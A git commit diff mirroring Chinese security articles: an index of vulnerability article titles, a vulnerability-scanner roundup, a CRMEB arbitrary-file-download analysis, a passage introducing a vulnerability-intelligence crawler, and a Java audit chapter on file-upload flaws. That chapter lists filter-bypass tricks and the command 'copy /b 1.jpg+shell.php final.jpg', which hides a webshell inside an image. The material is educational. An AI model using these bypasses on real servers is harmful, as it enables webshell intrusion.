mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
【漏洞通告】WinRAR 路径处理漏洞导致远程代码执行 (CVE-2025-6218)、Java代码审计第七章-任意文件上传漏洞（上）、VulnCrawler v2.0- 漏洞情报拉取工具 一键抓取最新漏洞|漏洞探测、nps之Socks流量分析以及未授权复现、渗透测试｜某单位从敏感三要素泄露到接管管理员的漏洞挖掘之旅、【已复现】Gogs 远程命令注入漏洞(CVE-2024-56731)、【高危漏洞预警】Pterodactyl代码执行漏洞(CVE-2025-49132)、利用 WebView 漏洞：绕过 SOP 访问内部应用程序文件、记录某企业存储型XSS漏洞从发现到数据外泄全路径分析、CRMEB-CVE-2024-52726-任意文件下载漏洞分析、直播预告 | 攻防演练季应急自救指南-0Day∕NDay来袭，传统防护失效下该如何破局?、【高危漏洞预警】 Gogs内部文件删除致远程命令注入漏洞、【安全圈】TeamViewer 高危漏洞通报（CVE-2025-36537）、6款较流行的开源漏洞扫描工具推荐及特点分析、【已复现】Gogs 远程命令执行漏洞、【免费领】社会工程权威资料：解密安全体系中的人性漏洞、WinRAR目录遍历漏洞允许通过恶意文件执行任意代码、在全球间谍活动中，政府网络邮件遭 XSS 漏洞攻击、
This commit is contained in:
test committed
1 parent
14f3a26e7c
commit
16a3ee67ff
19 files changed
+2007
-357
No files matched your search
@@ -15602,5 +15602,23 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxOTUyNTg2MA==&mid=2247483982&idx=1&sn=a506515361c892f7d439c4fe16467aa6": "【淮橘AI代码审计工具v2.0】规则+AI双引擎，让漏洞无处遁形",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzUyODkwNDIyMg==&mid=2247550556&idx=1&sn=931c3d818653e765d82fba8af75a5de1": "手把手教你CNVD漏洞挖掘 + 资产收集",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651137321&idx=2&sn=3b273292ef01a662bff4e7e856dd6634": "美国遭遇黑客活动分子大规模DDoS攻击，与伊朗轰炸事件相关；小米互联互通应用严重漏洞允许黑客未授权访问用户设备| 牛览",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI2Mzc3OTg1Ng==&mid=2247492665&idx=1&sn=9fbe571d7111030b9c4ceba172cdaa2a": "漏洞复现 || GeoServer XXE漏洞 (CVE-2025-30220)"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI2Mzc3OTg1Ng==&mid=2247492665&idx=1&sn=9fbe571d7111030b9c4ceba172cdaa2a": "漏洞复现 || GeoServer XXE漏洞 (CVE-2025-30220)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzNzY5OTg2Ng==&mid=2247501227&idx=2&sn=6dd4eb38653a88948107ed6a38964031": "【漏洞通告】WinRAR 路径处理漏洞导致远程代码执行 (CVE-2025-6218)",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg4Njk1NDg5NQ==&mid=2247483910&idx=1&sn=213863db5a9b86c813db99bade0660e1": "Java代码审计第七章-任意文件上传漏洞（上）",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247492658&idx=1&sn=083e602f09f084017608fce4fb9b60d5": "VulnCrawler v2.0- 漏洞情报拉取工具 一键抓取最新漏洞|漏洞探测",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNTIwNTkyNg==&mid=2247555247&idx=1&sn=a7196eceb681af8cdcbd0cb4df87f1b9": "nps之Socks流量分析以及未授权复现",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3NzkwMTYyOQ==&mid=2247489523&idx=1&sn=7a64c5b7c5c623d232ed0a4980cf9f10": "渗透测试｜某单位从敏感三要素泄露到接管管理员的漏洞挖掘之旅",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk0ODM3NTU5MA==&mid=2247494089&idx=1&sn=b9ada1dbf29cb740174d1194b7b4262d": "【已复现】Gogs 远程命令注入漏洞(CVE-2024-56731)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247490307&idx=2&sn=6df93de7148487ec4029f4396726754d": "【高危漏洞预警】Pterodactyl代码执行漏洞(CVE-2025-49132)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI0MTUwMjQ5Nw==&mid=2247489256&idx=1&sn=503b05e22ac55c8acc087c2ad80efcba": "利用 WebView 漏洞：绕过 SOP 访问内部应用程序文件",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU2NDY2OTU4Nw==&mid=2247521326&idx=1&sn=eee5b7db26999c41ad137213d0d90a1c": "记录某企业存储型XSS漏洞从发现到数据外泄全路径分析",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNTY0NzgwNA==&mid=2247483980&idx=1&sn=4263cd05489194ff5d3e53a235bf3016": "CRMEB-CVE-2024-52726-任意文件下载漏洞分析",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU5ODgzNTExOQ==&mid=2247641086&idx=2&sn=7947f21af9546a6522db29daeb6323b0": "直播预告 | 攻防演练季应急自救指南-0Day∕NDay来袭，传统防护失效下该如何破局?",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247490307&idx=1&sn=bac7469bf34eee680054d677b1c056ec": "【高危漏洞预警】 Gogs内部文件删除致远程命令注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070352&idx=3&sn=cc4501ba6fd8153a01376bad11487244": "【安全圈】TeamViewer 高危漏洞通报（CVE-2025-36537）",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxMzMyNzMyMA==&mid=2247573676&idx=1&sn=e886de4de4e7bab19b5e175e478473af": "6款较流行的开源漏洞扫描工具推荐及特点分析",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247492852&idx=1&sn=63aa481b46b0e2ccc42748ad0107467f": "【已复现】Gogs 远程命令执行漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNTIwNTkyNg==&mid=2247555247&idx=2&sn=7d638163f3ed98a098b2e44a47e27120": "【免费领】社会工程权威资料：解密安全体系中的人性漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651323714&idx=3&sn=e66361c25b0dba9cb07f228b450a60c9": "WinRAR目录遍历漏洞允许通过恶意文件执行任意代码",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3ODY0NTczMA==&mid=2247493041&idx=1&sn=518361ee24bc2da2bdc44f947e1046a8": "在全球间谍活动中，政府网络邮件遭 XSS 漏洞攻击"
|
||||
}
|
||||
@@ -0,0 +1,311 @@
|
||||
# 6款较流行的开源漏洞扫描工具推荐及特点分析
|
||||
点击关注👉 马哥网络安全 2025-06-25 09:00
|
||||
|
||||
**漏洞扫描**
|
||||
|
||||
未修补的漏洞是网络犯罪分子最容易攻击的目标之一。
|
||||
企业中很多的数据安全事件往往由于已知的漏洞造成的，尽管相关的安全补丁已经发布，但许多企业由于种种原因并不能及时发现并修补这些漏洞。
|
||||
|
||||
|
||||
当组织想要开展全面且持续的漏洞扫描工作时，通常需要得到广泛的安全社区支持。在此过程中，安全人员可以借助一些的流行开源漏洞扫描工具。由于它们具有开放源代码的特性，用户可以自由地查看、修改和定制这些工具，以满足自身的安全需求。此外，这些工具会经常更新和改进以适应不断变化的漏洞威胁。本文收集了6款目前较热门的开源漏洞扫描工具（详见下表），并从功能性、兼容性和可扩展性等方面对其应用特点进行了分析。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**1、Nmap**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Nmap是一款非常流行的自动化安全测试工具。它可以在各种主流操作系统上运行，并快速扫描大型网络。它通常会检测以下信息：网络上有哪些主机可用，主机在运行什么服务，主机在运行哪些操作系统版本，使用哪种类型的数据包过滤器和防火墙，以及发动攻击之前需要的其他有用情报。此外，Nmap的说明文档也很全面，还有针对命令行和GUI（图形化操作界面）版本的众多教程，很容易上手。
|
||||
|
||||
|
||||
|
||||
**主要特点**
|
||||
|
||||
|
||||
|
||||
ㆍ快速查询开放端口，基于可用的 TCP 和 UDP 服务分析协议、应用程序和操作系统。
|
||||
|
||||
ㆍ拥有庞大的活跃用户群，也被大多数网络和网络安全认证计划所接受。
|
||||
|
||||
ㆍ对使用者友好，使用命令行控件自动执行漏洞扫描或将结果导出到票证系统或安全工具中。
|
||||
|
||||
ㆍ包含一个不断增长的检测脚本库，可用于增强网络发现和漏洞评估的功能。
|
||||
|
||||
ㆍ可基于协议请求的端口响应进行扫描，适用于所有具有开放端口的计算机、物联网设备、网站、云系统和网络设备。
|
||||
|
||||
|
||||
|
||||
**不足**
|
||||
|
||||
|
||||
ㆍ没有正式的客户支持选项
|
||||
|
||||
ㆍ使用时需要一定的经验或编程能力
|
||||
|
||||
ㆍ并非所有选项在 GUI 版本中都可用
|
||||
|
||||
|
||||
|
||||
**2、OpenVAS**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
OpenVAS是一个较全面的开源渗透测试软件。在世界各地的渗透测试专家的帮助下，它得到了不断的支持和更新，从而使其保持最新状态。OpenVAS的其他特性还包括提供未经身份验证的测试、目标扫描和web漏洞扫描。需要说明的是，OpenVAS工具的漏洞扫描能力最初是从Nessus产品派生而来，后者现在是Tenable公司的非开源商业化产品。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**主要特点**
|
||||
|
||||
|
||||
|
||||
ㆍ几乎每天都会更新威胁信息源，并定期提供产品更新和功能更新。
|
||||
ㆍ免费版本的功能就非常全面，并在企业版本中提供更多功能和特性，同时提供客户支持。
|
||||
ㆍ能够对终端、服务器和云等多种系统进行常见漏洞和曝光（
|
||||
CVE
|
||||
）的扫描。
|
||||
ㆍ产品得到主流网络安全社区的支持，能够在许多不同的认证课程中教授。
|
||||
ㆍ可以为每个漏洞提供额外的上下文信息，用于漏洞修复或攻击路径解释。
|
||||
|
||||
|
||||
|
||||
|
||||
**不足**
|
||||
|
||||
|
||||
|
||||
ㆍ对于初学者来说专业门槛较高
|
||||
ㆍ在同时进行多个扫描任务时，可能会导致程序崩溃
|
||||
ㆍ一些高级扫描功能需要使用付费版本
|
||||
|
||||
|
||||
**3、ZAP**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Zed Attack Proxy (ZAP)是一款用户友好的渗透测试工具，能找出网络应用中的漏洞。它不仅提供自动化扫描器，也为想要手动查找漏洞的用户提供了一套工具。ZAP通常预装在Kali Linux上，它能够将自身置于测试人员的浏览器和Web应用程序之间，拦截请求以充当"代理"。通过修改内容、转发数据包和模拟其他用户行为，ZAP也可以对应用程序进行漏洞扫描测试。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**主要特点**
|
||||
|
||||
|
||||
|
||||
ㆍ可执行常见的动态应用程序安全测试 （DAST），特别是针对跨站点脚本 （XSS） 漏洞，还能够执行一些新型的测试工作，例如模糊测试；
|
||||
|
||||
ㆍ可提供 API 和 docker 集成以实现快速部署，并与 DevSecOp 工具集成，实现对开发团队的自动化工单管理；
|
||||
ㆍ通过Crash Override开源奖学金的支持，ZAP拥有多名全职开发人员，不再与OWASP有关联；
|
||||
ㆍ经常被渗透测试人员使用，可以很好地了解黑客可能发现的漏洞。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**不足**
|
||||
|
||||
|
||||
ㆍ某些扫描功能需要额外的插件
|
||||
|
||||
ㆍ需要一些专业知识才能使用
|
||||
|
||||
ㆍ相比其他工具，误报率较高
|
||||
|
||||
|
||||
|
||||
**4、OSV-Scanner**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
OSV-Scanner是一款由谷歌公司开发的开源漏洞扫描工具，提供专门的软件组成分析（SCA），可用于扫描静态软件，以确保开源软件的编程代码安全漏洞，并保护开源软件清单（SBOM）。在扫描项目时，OSV-Scanner 首先通过分析清单、软件材料清单（SBOM）和代码提交
|
||||
哈希值
|
||||
来确定正在使用的所有依赖项。这些信息用于查询 OSV 数据库，并报告与项目相关的漏洞。漏洞通过表格的形式或基于 JSON 的 OSV 格式（可选）进行报告。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**主要特点**
|
||||
|
||||
|
||||
|
||||
ㆍ能够定期扩展支持的编程语言列表，包括C/C++、Dart、Elixir、Go、Java、JavaScript、PHP、Python、R、Ruby和Rust。
|
||||
ㆍ可以从大量信息源中获取漏洞，包括Debian、Linux、Maven、npm、NuGet、OSS-Fuzz、Packagist、PyPl和RubyGems。
|
||||
ㆍ允许API、可脚本化和与GitHub集成的调用，以实现漏洞扫描自动化。
|
||||
ㆍ使用JSON存储有关受影响版本的信息，以便与开发人员工具包进行集成。
|
||||
ㆍ检查目录、软件清单（SBOM）、锁定文件、基于Debian的Docker镜像或在Docker容器中运行的软件。
|
||||
|
||||
|
||||
|
||||
|
||||
**不足**
|
||||
|
||||
|
||||
ㆍ只检查开源库中有的漏洞
|
||||
ㆍ产品较新，尚未被纳入到主流的认证教育中
|
||||
|
||||
|
||||
|
||||
**5、CloudSploit**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
CloudSploit是一款开源的云基础设施扫描引擎，目前被Aqua公司收购并继续对其进行维护，以使用户能够下载、修改并享受这个专业工具的好处。CloudSploit可以根据用户需求进行扫描，也可以配置为持续运行，并向安全和DevOps团队发送漏洞警报。该工具不仅检查已知的云和容器部署漏洞，还能够检查常见的配置错误问题。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**主要特点**
|
||||
|
||||
|
||||
|
||||
ㆍ可持续扫描AWS、Azure、Google Cloud、Oracle Cloud等环境，以便对云基础设施的更改进行警报。
|
||||
|
||||
ㆍ通过安全人员常用的工具（如Slack、Splunk、OpsGenie、Amazon SNS等）发送实时警报和结果。
|
||||
|
||||
ㆍ可从命令行、脚本或构建系统（Jenkins、CircleCL、AWS CodeBuild 等）调用 API。
|
||||
|
||||
ㆍ提供了广泛的云支持，包括针对主要公共云平台（阿里云、AWS、Azure、Google Cloud 等）的插件严重程度。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**不足**
|
||||
|
||||
|
||||
|
||||
ㆍ某些功能需要付费使用
|
||||
ㆍ必须与其他安全工具一起使用
|
||||
ㆍ专注于公有云基础设施安全性
|
||||
|
||||
|
||||
**6、sqlmap**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
sqlmap是一款专注但功能强大的免费数据库漏洞扫描工具。尽管其适用范围有限，但在一些需要进行严格合规和安全测试的数字化业务场景中，数据库漏洞测试往往是至关重要的组成部分。SQLmap能够自动化查找与SQL注入相关的威胁和攻击的过程。相比其他的web应用程序渗透测试工具，SQLmap具有较强大的
|
||||
测试引擎
|
||||
和多种注入攻击识别能力，并支持多种数据库服务器，如MySQL、Microsoft Access、IBM DB2和SQLite。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**主要特点**
|
||||
|
||||
|
||||
|
||||
ㆍ可通过
|
||||
DBMS
|
||||
凭据、IP地址、端口和数据库名称直接连接到数据库进行漏洞扫描测试。
|
||||
|
||||
ㆍ支持可调用的（代码或GitHub）集成，可执行任意命令，检索标准输出并生成报告。
|
||||
|
||||
ㆍ可扫描多种类型的SQL注入，包括：基于布尔的盲注、基于时间的盲注、基于错误的注入、基于UNION查询的注入、堆叠查询和带外注入等。
|
||||
|
||||
ㆍ自动识别和使用密码哈希进行具有许可访问权限的测试，还可以进行密码破解。
|
||||
|
||||
ㆍ支持超过30个数据库管理系统。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**不足**
|
||||
|
||||
|
||||
|
||||
ㆍ没有图形用户界面，需要通过命令行
|
||||
ㆍ只针对数据库中的漏洞
|
||||
ㆍ需要一定的数据库专业知识才能有效使用
|
||||
|
||||
|
||||
文章内容转自计算机科学与信息化，侵删
|
||||
|
||||
|
||||
****
|
||||
**文末福利**
|
||||
##
|
||||
## 现在已经步入2025年了，不少小伙伴在考虑入行学习网络安全。
|
||||
##
|
||||
|
||||
|
||||
|
||||
为了帮助大家早日习得网络安全核心知识，快速入行网络安全圈，**给大家整理了一套【2025最新网安资料】**
|
||||
**网络安全工程师****必备技能资料包**
|
||||
（文末一键领取）**，内容有多详实丰富看下图！**
|
||||
|
||||
**Web安全**
|
||||
|
||||
|
||||
|
||||
**渗透测试**
|
||||
|
||||
|
||||
|
||||
**安全面试题**
|
||||
|
||||
|
||||
|
||||
**代码审计**
|
||||
|
||||
|
||||
|
||||
**HVV文档**
|
||||
|
||||
|
||||
|
||||
**红队笔记**
|
||||
|
||||
|
||||
|
||||
**入门视频**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**以上所有资料获取请扫码**
|
||||
|
||||
|
||||
|
||||
识别上方二维码
|
||||
|
||||
备注：2025安全合集
|
||||
|
||||
100%免费领取
|
||||
|
||||
（是
|
||||
扫码领取
|
||||
，不是在公众号后台回复，
|
||||
别看错了哦）
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
# CRMEB-CVE-2024-52726-任意文件下载漏洞分析
|
||||
寻梦安全 寻梦安全 2025-06-25 08:23
|
||||
|
||||
点击蓝字 关注我们
|
||||
|
||||
|
||||
|
||||
**免责说明**
|
||||
|
||||
由于传播、利用本公众号寻梦安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号寻梦安全及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！
|
||||
|
||||
|
||||
|
||||
漏洞分析
|
||||
|
||||
该系统采用前后端分离技术，基于ThinkPHP6+elementUI+Uni-app框架开发
|
||||
|
||||
首先我们查看路由，看到这是一个后台的任意文件下载，并且/adminapi/setting/config/save_basics路径会进去到 v1.setting.SystemConfig/save_basics 这个路径下
|
||||
|
||||
|
||||
|
||||
受影响的代码在app/adminapi/controllerv1.setting.SystemConfig/save_basics.php文件的save_basics中
|
||||
|
||||
这里从请求中获取 POST 参数，然后遍历 POST 数据的每个键值对，$k 表示字段名，$v 表示字段值。
|
||||
|
||||
|
||||
|
||||
接着是一系列的判断，判断post参数是否存在这些，然后在weixin_ckeck_filepost参数中，存在copy函数，可以将文件进行复制的一个操作
|
||||
|
||||
|
||||
|
||||
接着跟踪代码，发现public_path就是在public目录，这里存在copy文件到public目录下的一个操作
|
||||
|
||||
|
||||
|
||||
分析$to = public_path() . array_reverse(explode('/', $post['weixin_ckeck_file']))[0];这个代码，就是将字符串按 / 分割成一个数组，然后提取最后一个部分（就是文件名），然后拼接到public目录下
|
||||
|
||||
进行动调一下，看看是否和我们之前描述的一样。
|
||||
|
||||
|
||||
|
||||
可以看到，结果就是我们所描述的那种。并且由于是thinkphp的框架，所以运行的目录也是在public目录下面。因此可以直接去访问那个文件，便可以进行下载文件。
|
||||
|
||||
exp:
|
||||
|
||||
|
||||
|
||||
然后访问直接win.ini便可以下载win.ini文件
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
总结
|
||||
|
||||
这是一个由于copy函数没有严格控制路径问题，导致存在一个任意文件下载的操作。
|
||||
|
||||
@@ -0,0 +1,165 @@
|
||||
# Java代码审计第七章-任意文件上传漏洞（上）
|
||||
原创 今木安全 今木安全 2025-06-25 11:52
|
||||
|
||||
定义
|
||||
|
||||
任意文件上传漏洞是Web应用中的高危漏洞，攻击者通过绕过文件类型检测机制，将恶意脚本（如WebShell）上传至服务器。该漏洞的本质是
|
||||
**文件上传操作未规范校验文件类型**
|
||||
，导致检测功能被绕过。随着开发人员安全意识提升，此类漏洞有所减少但仍未绝迹。
|
||||
## 黑盒测试过程
|
||||
### 文件上传流程
|
||||
1. **前端提交**
|
||||
|
||||
1. 用户选择文件并提交表单
|
||||
|
||||
1. 浏览器生成POST Multipart报文发送至服务器
|
||||
|
||||
1. **报文解析**
|
||||
|
||||
1. 请求头部分
|
||||
|
||||
HTTP协议版本、浏览器信息、请求方式、编码类型、请求地址
|
||||
|
||||
1. 请求数据部分
|
||||
|
||||
普通参数：参数名/参数值（含隐藏字段）
|
||||
|
||||
文件数据：文件名、响应函数名、文件类型
|
||||
|
||||
1. **服务器处理**
|
||||
|
||||
1. 中间件接收并解析报文
|
||||
|
||||
1. 后端代码处理请求（PHP特有：将内容写入临时文件）
|
||||
|
||||
1. 最终文件写入目标存储路径
|
||||
|
||||
### 上传漏洞的必要条件
|
||||
1. 存在上传功能点
|
||||
|
||||
1. 可上传动态脚本文件（如.php/.jsp）
|
||||
|
||||
1. 上传目录有执行权限
|
||||
|
||||
1. 上传文件可执行
|
||||
|
||||
1. 可访问上传的动态文件
|
||||
|
||||
### 上传检测流程
|
||||
#### 前端提交检测
|
||||
- **JavaScript检测**
|
||||
|
||||
- 触发事件：
|
||||
onchange
|
||||
（内容改变时）、
|
||||
onsubmit
|
||||
（表单提交时）
|
||||
|
||||
- 绕过：删除检测函数或使用BurpSuite拦截修改请求
|
||||
|
||||
- **Flash AS检测**
|
||||
|
||||
- 提交前触发ActionScript检测
|
||||
|
||||
- 绕过：直接修改POST报文内容
|
||||
|
||||
- **App上传检测**
|
||||
|
||||
|
||||
**安卓绕过步骤**
|
||||
：
|
||||
```
|
||||
```
|
||||
|
||||
- 设置代理：Burp IP:8080
|
||||
|
||||
- 安装Burp证书（.crt格式）
|
||||
|
||||
- 信任证书（IOS需额外设置）
|
||||
|
||||
- 对抗证书校验：Xposed框架+JustTrustMe
|
||||
|
||||
#### 数据传输检测
|
||||
- WAF拦截：双后缀/00截断绕过
|
||||
|
||||
- IPS拦截：慢速攻击/分块传输
|
||||
|
||||
#### 后端处理检测
|
||||
- **扩展名检测绕过**
|
||||
|
||||
- 大小写混合：
|
||||
.PhP
|
||||
|
||||
- 特殊后缀：
|
||||
.phtml
|
||||
|
||||
- **MIME Type检测绕过**
|
||||
|
||||
- 伪造Content-Type：
|
||||
image/jpeg
|
||||
|
||||
- **文件格式检测**
|
||||
|
||||
<table><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-top: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;padding: 6px 13px;border-width: 1px 1px 0px;border-bottom-style: initial;border-bottom-color: initial;font-weight: bold;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-top-color: rgb(223, 226, 229);border-right-color: rgb(223, 226, 229);border-left-color: rgb(223, 226, 229);border-image: initial;margin: 0px;"><span cid="n98" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 138.8px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">检测类型</span></span></span></th><th style="box-sizing: border-box;padding: 6px 13px;border-width: 1px 1px 0px;border-bottom-style: initial;border-bottom-color: initial;font-weight: bold;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-top-color: rgb(223, 226, 229);border-right-color: rgb(223, 226, 229);border-left-color: rgb(223, 226, 229);border-image: initial;margin: 0px;"><span cid="n99" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 576.4px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">绕过方法</span></span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-top: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n101" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 138.8px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">文件头检测</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n102" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 576.4px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">添加合法文件头（如</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">GIF89a</span></code></span><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">）</span></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-top: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n104" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 138.8px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">完整内容检测</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n105" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 576.4px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">图片与脚本合并：</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">copy /b 1.jpg+shell.php final.jpg</span></code></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border-top: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n107" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 138.8px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">恶意内容检测</span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n108" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 576.4px;min-height: 10px;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf="">高度混淆WebShell（Weevely工具）</span></span></span></td></tr></tbody></table>
|
||||
#### 写入文件系统
|
||||
- 文件重命名绕过：利用解析漏洞
|
||||
|
||||
- 杀毒软件对抗：内存马/无文件攻击
|
||||
|
||||
#### 访问文件执行
|
||||
- **解析漏洞利用**
|
||||
```
|
||||
```
|
||||
|
||||
- **服务器识别**
|
||||
|
||||
- F12 → 网络 → Server头
|
||||
|
||||
- 访问不存在页面查看错误信息
|
||||
|
||||
## 绕过的高级技巧
|
||||
### 重绘图绕过
|
||||
1. 用目标图形库转换正常图片
|
||||
|
||||
1. 识别转换前后未变化区域
|
||||
|
||||
1. 将WebShell注入未变化区
|
||||
|
||||
1. 二次转换验证完整性
|
||||
|
||||
工具：Bypass-PHP-GD-Process-To-RCE
|
||||
|
||||
### PHPinfo+本地包含组合利用
|
||||
|
||||
**攻击流程**
|
||||
：
|
||||
1. 上传含大文件（拖延处理）
|
||||
|
||||
1. 快速访问PHPinfo获取
|
||||
$_FILES
|
||||
信息
|
||||
|
||||
1. 利用本地包含执行临时文件
|
||||
```
|
||||
```
|
||||
|
||||
### 在线压缩包利用
|
||||
- **目录穿越攻击**
|
||||
```
|
||||
```
|
||||
|
||||
- **符号链接攻击**
|
||||
```
|
||||
```
|
||||
|
||||
- **路径混淆攻击**
|
||||
|
||||
|
||||
- 构造含
|
||||
../
|
||||
路径的压缩包结构
|
||||
|
||||
> 下半部分将涵盖白盒审计、修复方案等深度内容。
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,153 @@
|
||||
# VulnCrawler v2.0- 漏洞情报拉取工具 一键抓取最新漏洞|漏洞探测
|
||||
vuln-crawler 渗透安全HackTwo 2025-06-25 16:00
|
||||
|
||||
0x01 工具介绍
|
||||
|
||||
|
||||
VulnCrawler v2.0 是由开发者 zero-typora 打造的一款开源漏洞情报拉取工具，专为安全研究者和 IT 专业人士设计。该工具支持 Windows 和 macOS 平台，能够从多个权威来源（如 CISA KEV、ThreatBook 等）快速抓取漏洞信息，帮助用户高效应对网络安全威胁。
|
||||
|
||||
|
||||
**注意：**
|
||||
现在只对常读和星标的公众号才展示大图推送，建议大家把
|
||||
**渗透安全HackTwo**
|
||||
"**设为****星标⭐️**
|
||||
"
|
||||
**否****则可能就看不到了啦！**
|
||||
|
||||
**下载地址在末尾#渗透安全HackTwo**
|
||||
|
||||
0x02
|
||||
功能简介
|
||||
|
||||
|
||||
工具特点
|
||||
- **时间范围筛选**
|
||||
：支持按指定日期范围查询漏洞，聚焦关键情报。
|
||||
|
||||
- **漏洞搜索功能**
|
||||
：可通过 CVE 编号或漏洞标题快速检索，省时高效。
|
||||
|
||||
- **优化界面设计**
|
||||
：顶栏改为两行布局，常用操作一目了然。
|
||||
|
||||
- **跨平台支持**
|
||||
：提供 Windows (.exe) 和 macOS (.dmg) 安装包，适配更多用户。
|
||||
|
||||
- **动态渐变图标**
|
||||
：自带霓虹盾牌图标，桌面更具辨识度。
|
||||
|
||||
|
||||
### 核心亮点
|
||||
|
||||
VulnCrawler v2.0 凭借以下功能脱颖而出：
|
||||
- **多线程搜索**
|
||||
：同时从 CISA KEV、ThreatBook、Changtin、OSCS、Qianxin 等多个来源抓取数据，确保情报全面。
|
||||
|
||||
- **自动刷新**
|
||||
